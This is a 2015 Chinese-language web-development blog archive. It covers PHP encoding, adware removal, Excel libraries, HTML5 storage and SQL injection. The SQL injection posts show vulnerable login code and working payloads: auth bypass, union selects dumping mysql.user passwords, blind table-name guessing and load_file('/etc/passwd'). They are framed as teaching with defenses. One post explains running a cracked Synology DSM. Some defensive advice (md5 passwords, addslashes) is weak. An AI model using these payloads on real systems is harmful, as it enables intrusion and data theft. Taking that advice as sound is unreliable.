Pages

Subscribe:

Ads 468x60px

2015年4月29日 星期三

網頁(UTF-8) 於 瀏覽器 出現亂碼解法

一般來說,我是使用第一種解法,但是很不幸的在手機上卻還是產生亂碼
於是乎
再使用第一種方法外,在PHP網頁的第一行在加上方法二的處理
果然就排除的中文亂碼的問題
正確解法有下面幾種:
  1. 於 HTML head 指定此頁編碼為 UTF-8

  2. PHP 送 Header 告訴瀏覽器這頁是 UTF-8 編碼
    header("Content-Type:text/html; charset=utf-8");
    ?>
  3. 設定 Apache 送出頁面預設語系 UTF-8 (比較不建議用此方法)
    addDefaultCharset UTF-8
    # 不過建議這行要包在 Directory 或 VirtualHost 內, 才不會影響到其它網頁.

    addDefaultCharset UTF-8



    addDefaultCharset UTF-8

2015年4月17日 星期五

如何完整移除 Snap.do (及類似網站) ,解決首頁綁架、工具列、搜尋綁架問題?(IE, Google Chrome, Firefox)

最近很多人應該對「Snap.do」這東西非常感冒,不但會強加很難用的工具列,還會綁架 IE, Firefox 與 Google Chrome 等瀏覽器的首頁及搜尋引擎功能。重點是軟體都移除了,可是瀏覽器首頁卻被咬得死死得,每次重設完之後還會自動跑回來。
Snap.do 的工具列與瀏覽器首頁綁架等問題到底是怎麼來的呢?目前大部份都是包含在其他看似沒有異狀的免費軟體中,當我們安裝免費軟體時,他會不經意出現一個額外的安裝視窗,問我們要不要繼續安裝,如果你還沒來得及看就按下「Next」或「下一步」,那你的電腦就中標了!
其實 Snap.do 的問題不大,但還是得依照步驟來處理才有辦法完整移除乾淨。首先就是先到控制台移除跟 Snap.do 有關的全部軟體,只要軟體名稱中有 Snap.do 就把它移除掉。移除軟體後,到登錄檔編輯程式中搜尋「Snap.do」並將找到的項目通通刪除(至少3個)!接著讓電腦重開機,重開機完後分別到 IE, Firefox 與 Google Chrom 的外掛管理頁面,將 Snap.do 的擴充套件、搜尋外掛或各種相關程式移除,然後重開瀏覽器並到設定視窗中重設你的瀏覽器首頁或啟動頁面。
整個步驟中最關鍵的就是執行的順序,一定要先移除軟體、刪除登錄檔中的項目,接著再到瀏覽器移除外掛與擴充功能,最後才能重設瀏覽器首頁與搜尋功能。日後如果再遇到與 Snap.do 類似的垃圾軟體,不管咬得多緊,依照以上步驟大部份都可以成功移除、讓電腦恢復原貌。

完整移除 Snap.do 的步驟:
  • 1. 先到控制台移除 Snap.do 軟體(也許需要重開機)。
  • 2. 執行 regedit 指令,到登錄檔編輯程式中搜尋、刪除 Snap.do 相關內容。
  • 3. 讓電腦重開機。
  • 4. 開啟 IE 或 Firefox, Google Chrome 瀏覽器,移除相關擴充套件、外掛或搜尋外掛
  • 5. 重新啟動瀏覽器後,到設定頁面重設瀏覽器首頁與起始頁。
  • 6. 完成。

一、到控制台移除軟體

第1步  從開始選單開啟「控制台」視窗,點一下「解除安裝程式」,準備移除所有與 Snap.do 有關的軟體。
注意!若無法用 Windows 內建的移除工具移除軟體,請改用:Revo Uninstaller

remove-Snap.do-001

第2步  開啟「程式和功能」視窗後,請仔細尋找任何跟「Snap.do」有關的軟體,找到後先移除「Snap.Do Engine」再移除「Snap.Do」。
remove-Snap.do-002


二、搜尋登錄檔,刪除 Snap.do 相關資訊

第1步  移除 Snap.Do 軟體後,按「視窗」+「R」快速鍵開啟「執行」視窗,輸入「regedit」後按「Enter」鍵打開登錄檔編輯程式。
remove-Snap.do-003

第2步  接著請按選單中的「編輯」→「搜尋」,在方框中輸入「Snap.Do」再按「找下一個」。
remove-Snap.do-004

第3步  找到跟 Snap.Do 相關的項目後,請將整個機碼刪除(刪除看起來像資料夾圖示的那個)。
重複執行第2 ~ 3步驟,一直到找不到跟 Snap.Do 相關的項目為止(至少 3~5 個)。
remove-Snap.do-005


三、重設 IE 瀏覽器首頁、搜尋功能與外掛

第1步  移除完軟體、刪除了登錄檔中跟 Snap.Do 有關的機碼之後,請讓電腦重開機然後開啟 IE 瀏覽器,點一下右上角的齒輪圖示,並在選單中點「網際網路選項」。
remove-Snap.do-IE-01

第2步  在「一般」分頁中重新輸入你希望每次開啟 IE 時要啟動的網頁,設定完後按「確定」。
remove-Snap.do-IE-02

詳見

2015年4月15日 星期三

2015年4月14日 星期二

PHP 的 Excel 處理方式

資料來源 
下面的 PHP Excel 处理类中,包含 Excel 读写、导入导出等相关的类,列表如下:

 PHP Excel Reader classes

  1. Read Excel Spreadsheets using COM

  Umesh Rai (India)

  2. Read Excel Binary .XLS Files in Pure PHP

  Ruslan V. Uss (Russian Federation)

  3. Read Excel Spreadsheets using ODBC

  khalil Majdalawi (Jordan)

  4. Read Excel Worksheets in XML format (.XLSX)

  Andrew Aculana (Phillippines)

  5. Read Simple Excel XML files (.XLSX)

  Sergey Shuchkin (Russian Federation)

  6. Read Excel generated CSV files

  Ben Vautier (Australia)

  PHP Excel Writer classes

  7. Write Excel Binary file (.XLS) from Array data

  Sergey Sergeevich (Russian Federation)

  8. Generate Excel files using templates

  Skrol29 (France)

  9. Write Excel XML (.XLSX) files

  Harish Chauhan (India)

  10. Write Excel-compatible CSV files in pure PHP

  H. Poort (The Nederlands)

  11. Write Excel binary files (.XLS) based on Perl ExcelWriter

  Xavier Noguer (Chile)

 PHP Excel Import classes

  12. Import Excel cells pasted as CSV in a form input

  Gianluca Zanferrari (Italy)

  13. Import data from MySQL to Excel

  Harish Chauhan (India)

  14. Import MySQL database table records into binary Excel file (.XLS)

  dzaiacuck (Brazil)

  15. Import data from MySQL to Excel HTML

  raju mazumder (Bangladesh)

  16. Import data from MySQL to Excel Sheets and Charts

  Rafael de Pablo (Spain)

  17. Import data from MySQL and serve Excel file for download

  Erh-Wen, Kuo (United States)

  18. Import MySQL table columns into Excel XML file (.XLSX)

  Gianluca Zanferrari (Italy)

  19. Import MySQL, PostgreSQL, SQLite and SQL Server database tables into Excel files

  enri_pin (Greece)

 PHP Excel Export classes

  20. Export data from Excel to JSON format

  Karl Holz (Canada)

 PHP Excel Reader and Writer classes

  21. Read and write Excel binary (.XLS) or XML (.XLS) or CVS files

  Craig Smith (New Zealand)

  22. Manipulate Excel spreadsheet files in XML format

  Herry Ramli (Indonesia)

  23. Modify Excel spreadsheet files in XML format (.XLSX)

  Ilya Eliseev (Russian Federation)

  24. Manipulate Excel spreadsheet files using COM objects

  Alain Samoun

 Special PHP Excel Classes

  25. Reading and writing Excel files as if they were files using a stream handler

  Ignatius Teo (Australia)

  26. Excel MROUND function

  Steve Winnington (United Kingdom)

  27. Excel Financial Functions

  Enrique Garcia M. (Colombia)

  28. Indexing Excel and other file types for searching with Lucene

  Giampaolo Losito (Italy)

  29. Retrieve Application Internationalization Texts from Excel files

  Johan Barbier (France)

Ip如何限制讀取ip的寫法


$ip=ip2long(getenv("REMOTE_ADDR"));
if ($ip>=ip2long("195.74.96.0") AND $ip<=ip2long("195.74.127.255"))
{
$ok = 1;
}else{
header("location:blocked.php");
}
?>


這個效果還不錯

2015年4月10日 星期五

SQL injection 基本介紹

SQL injection(又稱SQL注入式攻擊 或是 SQL資料隱碼攻擊),指的是利用SQL指令的輸入字串中夾帶其他的SQL指令,一般來說都是從正當的查詢指令中夾帶惡意指令
例如:非法取得資料、惡意破壞資料...等。因此在程式設計時,也必須把這個基本的安全性給考慮進去。
下面就介紹一個基本的SQL injection範例(以帳號登入為例)
首先,我們先建立一個HTML表單來傳送資料
<form action="testsql.php" method="post">
帳號:<input type="text" name="account"><br>
密碼:<input type="password" name="password"><br>
<input type="submit" value="送出">
</form>
同時也建立一個資料庫來做測試
sql 

接著就可以撰寫接收端程式
 //接收帳號、密碼
 $account = $_REQUEST['account'];
 $pass = $_REQUEST['password'];
 //密碼使用md5加密
 $password = md5($pass);
 //查詢有無符合帳號資料
  $sql = "SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
  $res = mysql_query($sql);
  $result = mysql_fetch_array($res);
  if(empty($result)){
     //若無符合顯示查無帳號
     echo "查無此帳號<br>";
     echo $sql;
     echo "<br>輸入帳號".$account;
     echo "<br>輸入密碼".$pass;
}else{
//若符合顯示帳號、密碼資訊
     echo "帳號:".$account;
     echo "<br>密碼:".$pass;
     echo "<br>".$sql;
}
以此例說明:
當帳號輸入"' OR ''=''#" 或是 "' OR ''=''-- "(雙引號內字串)就可以進行非法登入(如下圖)
input1或是   input2  

原理:在SQL指令中 "#"和"-- "代表注釋
因此原本輸入的查詢是
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
會變成account欄位等於空 或是 ''='' ,後面的密碼則被注釋掉了
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."'' OR ''=''";
而後者條件成立,SQL指令就會開始執行(如下圖,此例取出第一筆資料)
output1 

解決這類型的非法登入的方式有幾種:
1. 使用正則表達式過濾字串;這是最搞剛卻也最安全的作法
2. 使用addslashes();這個函數會在所有的單引號前加上反斜線
下面就用addslashes()來簡單說明
//在接收的參數錢加上addslashes()
$account = addslashes($_REQUEST['account']);
$pass = addslashes($_REQUEST['password']);
再測試非法登入
output2 

輸入的資料經過轉換後,單引號的作用就失效了
這樣就能有效防範非法登入,而且對於一般人使用正當登入方法不受影響

SQL Injection 常見的駭客攻擊方式

Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,md5 目前也已經有破解方式了,使用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:$name=eregi_replace("[\']+" , '' ,$name); Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載

2015年4月9日 星期四

新竹市議員林智堅-「當心!知名電腦補習班銷售手法惹爭議!」

[分享]黑NAS --群輝DSM 5.0系列教學 (不用買貴,直接破解使用)

資料來源
話說前天在掏寶上找SERVER DOM的時候
發現了居然有USB DOM 4G 內建群輝NAS OS....
上面有連入TEST
玩了一下覺得這種圖形化的NAS,權限設定和外掛功能都蠻強的
如可以跟百度芸,GOOGLE,DROPBOX做連動
且支援外插配件,USB WIFI ,藍芽等

想說既然有人在賣,那應該有破解教學文章
爬了一下文,發現還蠻簡單的

所需檔案懶人包

第一步驟
弄個隨身碟(不能小於4G)
用Win32DiskImager
寫入gnoboot-alpha7-4458.IMG到隨身碟


然候把USB插到你要當NAS的那台機器上,選擇開機
正式安装-----開機後螢幕上會出现三个選項,選擇第二項gnoboot-me,(這個地方是關鍵,因為預設是第一個選項,裝完DSM就可以預設的第一選項啟動    )進去後會出现4458的版本安装




跑到這個畫面之後


開啟Synology Assistant
會找到一台數據損毀的NAS
在IP上面點兩下會進到網頁安裝模式(建議用網頁安裝)
這時候在去載入DSM_DS3612xs_4458
大概10來分就可以跑完

這時候已完成80%
接下來要以網卡MAC位址算序號

不然DS帳號功能,跟媒體伺服器功能無效

2015年4月6日 星期一

code school

https://www.codeschool.com/

[HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

資料來源

今天看了一下HTML5之前一直強調的功能,就是在Client端可以暫存更多的資訊,其實在Client端暫存資料並不是什麼新鮮事,Cookie就可以做到了,但Cookie在使用上有幾個不便利的地方:
  • Cookie在每個HTTP request送出時都會被送到Server端,不管你沒有要用到Cookie中的資訊,在某種程度上會拖慢執行的效能與浪費不必要的網路頻寬
  • Cookie送出的資料本身並沒有加密,因此除非我們用SSL一類的技術做加密,否則Cookie中不宜放任何重要的資訊
  • Cookies最大才4KB,不可能存太多資料

如果我們今天希望有更大的空間、更安全的保存、更少的頻寬浪費,在Client端找個地方暫存我們想暫存的數據似乎就變得非常重要了,在HTML5的Storage技術推出前其實已經有一些技術逐步在實現這樣的目標(包含透過Flash或Sliverlight),但到了HTML5才算是統一標準並集大成,目前支援HTML5 Storage的瀏覽器及版本如下:
image
原則上比較知名的瀏覽器在現行的版本中大多支援,連手機上的瀏覽器也漸漸的支援HTML5 Storage了,這對開發人員來說算是很好的一個消息。

HTML5的Storage主要分為兩種:localStoragesessionStorage,這兩者主要在生命週期上有較明顯的差別,localStorage的生命週期較長,原則上要等到透過Javascript將內容清掉或者使用者清空Cache時才會消失;而sessionStorage則是在Browser/Tab關閉時就會清空,下面先來看一個簡單的範例:

我先在畫面上拉兩個欄位:
image

當我按下Save時會將TextBox中的文字分別寫到locaoStorage跟sessionStorage中,並寫了一個讀取Storage的function:

1function loadStorage() {
2    document.getElementById("local").value = window.localStorage["local"];
3    document.getElementById("session").value = window.sessionStorage["session"];
4}
5 
6function saveToStorage() {
7    window.localStorage["local"] = document.getElementById("local").value;
8    window.sessionStorage["session"] = document.getElementById("session").value;
9}
然後我在兩個欄位分別輸入local跟session的文字,按下『Save』後會refresh畫面,並在body onload事件中會觸發localStorage的事件: 
image

我們可以發現網頁上的值確實被保存下來了,如果這時候我按下『OpenWin』的按鈕,透過showModalDialog的方式開啟另一個視窗,會發現兩個視窗的值相同,這邊先初步證明了localStorage/sessionStorage的值是被保存下來的: 
image

接著來求證一下sessionStorage的值只會保存在單一Tab中,我們用相同的網址開啟HTML5Storage這個頁面,我們可以發現localStorage的值仍然在,但sessionStorage的值已經消失了,而localStorage則在關閉瀏覽器再開啟時還是可以看的到,透過這樣簡單的範例大致上求證了一下兩者生命週期的差異,我測試過IE9、Chrome11、FF3.6: 

image 
image

適度地透過Browser的Storage可以加快網頁的載入速度也可提高用戶的使用體驗。

參考資料: 

Dive Into HTML5

Introduction to DOM Storage
HTML5 Web Storage, Using localStorage and sessionStorage Objects


關連文章



    回應


    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    看起來是解決了client端存資料的問題~有沒有缺點呢?
    2011/3/28 上午 09:31 | jain 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    to jain :
    目前我覺得跟Cookie相似度極高,但可以存的內容較豐富,硬要說有什麼缺點,有人說是安全性,不過安全性的問題跟系統如何設計有關,我覺得稱不上他的缺點....

    2011/3/28 下午 10:30 | gipi 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    gipi 你好,
    我把http://www.w3school.com.cn/tiy/t.asp?f=html5_webstorage_local_pagecount 這個範例copy到我的伺服器上時,在ie 下無法正常執行,但在w3c 的範例上又可以正常,請問這差別在哪裡? 謝謝。
    2014/8/19 上午 11:17 |  回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    你說靶範例copy到你的伺服器上,然後在IE執行是不行的,但同樣的code,你在w3c的網站上執行是ok的,在這過程,你用的都是IE嗎?

    如果你用了不同的瀏覽器,那你可以確認一下你的IE版本,並非所有的版本都支援此特性。
    Web storage is supported in Internet Explorer 8+, Firefox, Opera, Chrome, and Safari.
    Note: Internet Explorer 7 and earlier versions, do not support Web Storage.
    2014/8/19 下午 04:43 | gipi 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    是的,我是用 IE 10 來測試的,但剛才我把 localStorage 換成 sessionStorage 時,是可以正常執行的。
    2014/8/19 下午 05:22 |  回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    to 林 :
    貼一下你的程式碼可能快一些。
    2014/8/20 下午 09:42 | gipi 回覆

    # re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage

    gipi 大,以下是我的程式碼,在 Chrome 下執行正常,但在 IE10 執行時不會運作。

    01
    02<html>
    03<body>
    04 
    05<script type="text/javascript">
    06 
    07if (localStorage.pagecount)
    08    {
    09    localStorage.pagecount=Number(localStorage.pagecount) +1;
    10    }
    11else
    12    {
    13    localStorage.pagecount=1;
    14    }
    15document.write("Visits: " + localStorage.pagecount + " time(s).");
    16 
    17</script>
    18 
    19<p>刷新頁面會看到計數器在增長。</p>
    20 
    21<p>請關閉瀏覽器窗口,然後再試一次,計數器會繼續計數。</p>
    22 
    23</body>
    24</html>